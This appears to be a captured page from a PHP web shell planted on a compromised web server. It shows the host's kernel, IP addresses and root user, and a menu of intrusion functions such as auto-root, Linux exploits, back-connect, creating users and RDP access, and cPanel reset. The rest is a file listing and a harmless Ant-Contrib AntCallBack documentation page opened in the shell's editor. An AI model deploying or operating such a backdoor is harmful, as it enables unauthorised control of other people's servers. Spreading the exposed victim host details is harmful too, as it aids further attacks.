Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ant-contrib /
manual /
tasks /
[ HOME SHELL ]
Name
Size
Permission
Action
antcallback_task.html
4.29
KB
-rw-r--r--
antclipse_task.html
15.34
KB
-rw-r--r--
antfetch_task.html
3.96
KB
-rw-r--r--
assert_task.html
5.78
KB
-rw-r--r--
compilewithwalls.html
6.56
KB
-rw-r--r--
for.html
8.64
KB
-rw-r--r--
foreach.html
5.23
KB
-rw-r--r--
forget.html
1.72
KB
-rw-r--r--
get-cookie_task.html
2.65
KB
-rw-r--r--
get-method_task.html
524
B
-rw-r--r--
head-method_task.html
523
B
-rw-r--r--
http-client_type.html
6.16
KB
-rw-r--r--
http-state_type.html
4.81
KB
-rw-r--r--
if.html
3.24
KB
-rw-r--r--
importurl.html
7.63
KB
-rw-r--r--
index.html
365
B
-rw-r--r--
inifile.html
3.17
KB
-rw-r--r--
limit_task.html
4.42
KB
-rw-r--r--
math_task.html
9.92
KB
-rw-r--r--
method_task_common.html
7.26
KB
-rw-r--r--
more_conditions.html
6.54
KB
-rw-r--r--
osfamily.html
1.07
KB
-rw-r--r--
outofdate.html
10.1
KB
-rw-r--r--
pathtofileset.html
2.46
KB
-rw-r--r--
performance_monitor.html
4.36
KB
-rw-r--r--
post-method_task.html
4.13
KB
-rw-r--r--
post_task.html
7.63
KB
-rw-r--r--
propertycopy.html
2.28
KB
-rw-r--r--
propertyregex.html
4.57
KB
-rw-r--r--
propertyselector.html
4.18
KB
-rw-r--r--
relentless.html
4.6
KB
-rw-r--r--
runtarget.html
834
B
-rw-r--r--
server_tasks.html
8.5
KB
-rw-r--r--
shellscript.html
4.16
KB
-rw-r--r--
sortlist.html
4.78
KB
-rw-r--r--
stopwatch_task.html
2.34
KB
-rw-r--r--
switch.html
2.21
KB
-rw-r--r--
throw.html
1.1
KB
-rw-r--r--
timestampselector.html
4.36
KB
-rw-r--r--
toc.html
3.41
KB
-rw-r--r--
trycatch.html
2.75
KB
-rw-r--r--
urlencode.html
2.47
KB
-rw-r--r--
variable_task.html
6.02
KB
-rw-r--r--
verifydesign.html
14.37
KB
-rw-r--r--
verifylegacytutorial.html
4.34
KB
-rw-r--r--
verifynewprojtutorial.html
1.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : antcallback_task.html
<html> <head> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title> AntCallBack</title> <meta content="DocBook XSL Stylesheets V1.60.1" name="generator"> <link rel="home" href="index.html" title="Antelope Users Guide"> <link rel="up" href="bk03.html" title="Additional Ant Tasks"> <link rel="previous" href="bk03ch14.html" title="Chapter 14. AntFetch"> <link rel="next" href="bk03ch16.html" title="Chapter 16. Call Task"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <div class="chapter" lang="en"> <div class="titlepage"> <div> <div> <h2 class="title"> <a name="antcallback"> </a> AntCallBack</h2> </div> </div> <div> </div> </div> <p> AntCallBack is identical to the standard 'antcall' task, except that it allows properties set in the called target to be available in the calling target. </p> <p> </p> <p> Some background may be in order: When the <antcall> task is used, in actuality, a new Ant project is created, and depending on the inheritAll property, it is populated with properties from the original project. Then the requested target in this new project is executed. Any properties set in the new project remain with that project, they do not get "passed back" to the original project. So, for example, if the target in the new project sets a property named "image.directory", there is no reference to that property in the original. Here's an example of what I mean: </p> <p> <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> <target name="testCallback" description="Test CallBack"> <antcallback target="-testcb" return="a, b"/> <echo>a = ${a}</echo> <echo>b = ${b}</echo> </target> <target name="-testcb"> <property name="a" value="A"/> <property name="b" value="B"/> </target> </pre> </td> </tr> </table> The output from executing "testCallback" looks like this: <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> a = A b = B </pre> </td> </tr> </table> Contrast with this output from "antcall": <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> a = ${a} b = ${b} </pre> </td> </tr> </table> </p> <p> This is an often requested feature for Ant, at least judging from the Ant mailing lists. I assume this is because it allows a more functional programming style than Ant natively supports. The proper Ant way of doing the above is like this: <table border="0" bgcolor="#E0E0E0"> <tr> <td> <pre class="programlisting"> <target name="testCallback" description="Test CallBack" depends="-testcb"> <echo>a = ${a}</echo> <echo>b = ${b}</echo> </target> <target name="-testcb"> <property name="a" value="A"/> <property name="b" value="B"/> </target> </pre> </td> </tr> </table> This is actually looks cleaner in this situation, and is faster, too. There is significant overhead in using both "antcall" and "antcallback" in that they both require a lot of object instantiation and property copying. That said, many people prefer to use "antcall" and "antcallback" as it better fits their logic and style. </p> <p> The attributes for AntCallBack are identical to the 'antcall' task, with one additional, optional attibute. This attribute is named "return" and can be either a single property name or a comma separated list of property names. <div class="table"> <a name="N10B76"> </a> <p class="title"> <b> Table 15.1. AntCallBack Attributes</b> </p> <table summary="AntCallBack Attributes" border="1"> <colgroup> <col> <col> <col> <col> </colgroup> <thead> <tr> <th> Attribute</th> <th> Description</th> <th> Default</th> <th> Required</th> </tr> </thead> <tbody> <tr> <td> return</td> <td> A comma separated list of property names. Whitespace is allowed, so either "a,b" or "a, b" are acceptable.</td> <td> None</td> <td> No</td> </tr> </tbody> </table> </div> </p> <p> For other attribute and nested element information and more examples, see the documentation for the "antcall" task in the Ant documentation. </p> </div> <hr> <p align="center">Copyright © 2003 Ant-Contrib Project. All rights Reserved.</p> </body> </html>
Close